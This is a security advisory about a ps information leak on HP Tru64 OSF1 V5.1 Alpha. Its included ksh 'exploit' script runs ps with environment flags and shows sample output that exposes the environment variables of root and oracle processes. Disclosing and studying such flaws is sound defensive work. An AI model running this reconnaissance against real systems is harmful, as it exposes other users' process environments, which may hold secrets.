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PS Information Leak on HP True64 Alpha OSF1
------------------------------------------------------------------------
SUMMARY
The "ps" command (also /usr/ucb/ps) on HP OSF1 v5.1 Alpha, developed
without an eye to security, allows unprivileged users to see values of all
processes environment variables.
DETAILS
Vulnerable Systems:
* HP True64 Alpha OSF1 version 5.1 1885
Exploit:
#!/bin/ksh
#
# osf1tru64ps.ksh exploit
# Tested on OSF1 V5.1 1885 alpha
#
# ps executable - information leak
#
# Author: Andrea "bunker" Purificato
# http://rawlab.mindcreations.com
#
# the "ps" command (also /usr/ucb/ps) on HP OSF1 v5.1 Alpha,
# developed without an eye to security, allows unprivileged users to see
# values of all processes environment variables.
#
# Useful during information discovery.
#
# fake_uname> uname -a
# OSF1 fake_uname V5.1 1885 alpha
#
# fake_uname> id
# uid=301(fake_user) gid=216(fake_gid)
#
# fake_uname> /usr/ucb/ps auxeww
# USER PID %CPU %MEM VSZ RSS TTY S STARTED
TIME COMMAND
# ...
# ...
# root 1038875 0.0 0.0 2.02M 184K ?? I 11:39:03
0:00.01 sleep 55
MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin
PATH=/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/bin:/usr/bin:/usr/sbin:/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin
LOGNAME=root USER=root SHELL=/bin/ksh HOME=/ TERM=vt100
PWD=/opt/AmosLite_Client...
# ...
# ...
# root 1009950 0.0 0.0 2.73M 840K ?? I < Sep 30
0:31.22 /usr/sbin/auditd -l /LOG_SOURCE/audit/auditlog HOME=/ LOGNAME=root
MANPATH=/usr/share/man:/usr/dt/share/man:/usr/local/man:/usr/opt/networker/man:/usr/local/openssh/bin
PATH=/sbin:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/bin/X11:/usr/local:/usr/local/openssh/bin:/usr/opt/networker/bin
PWD=/var/audit SHELL=/bin/ksh TERM=xterm USER=root...
# ...
# ...
# oracle 541177 0.0 0.0 28.2M 3.4M ?? S Sep 01
0:07.00 /app/oracle/product/9.2.0/Apache/Apache/bin/httpd -d
/app/oracle/product/9.2.0/Apache/Apache HOME=/app/oracle
LD_LIBRARY_PATH=/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/lib:/app/oracle/product/9.2.0/obackup/lib:
LOGNAME=oracle NLS_LANG=AMERICAN_AMERICA.WE8MSWIN1252
OBK_HOME=/app/oracle/product/9.2.0/obackup ORACLE_BACKUP=/app/oracle/BACKUP
ORACLE_BASE=/app/oracle ORACLE_DOC=/app/oracle/product/9.2.0/oradoc
ORACLE_HOME=/app/oracle/product/9.2.0
ORACLE_PATH=/app/oracle/product/9.2.0/oracle ORACLE_SID=...
# ...
# ...
#
echo "Tru64 Alpha OSF1 V5.1 1885 - ps information leak"
echo "Andrea \"bunker\" Purificato - http://rawlab.mindcreations.com";
echo ""
echo "Default ps executable: "
ps auxewww
echo "/usr/ucb/ps executable: "
/usr/ucb/ps auxewww
ADDITIONAL INFORMATION
The information has been provided by <mailto:bunker@fastwebnet.it> Andrea
"bunker" Purificato.
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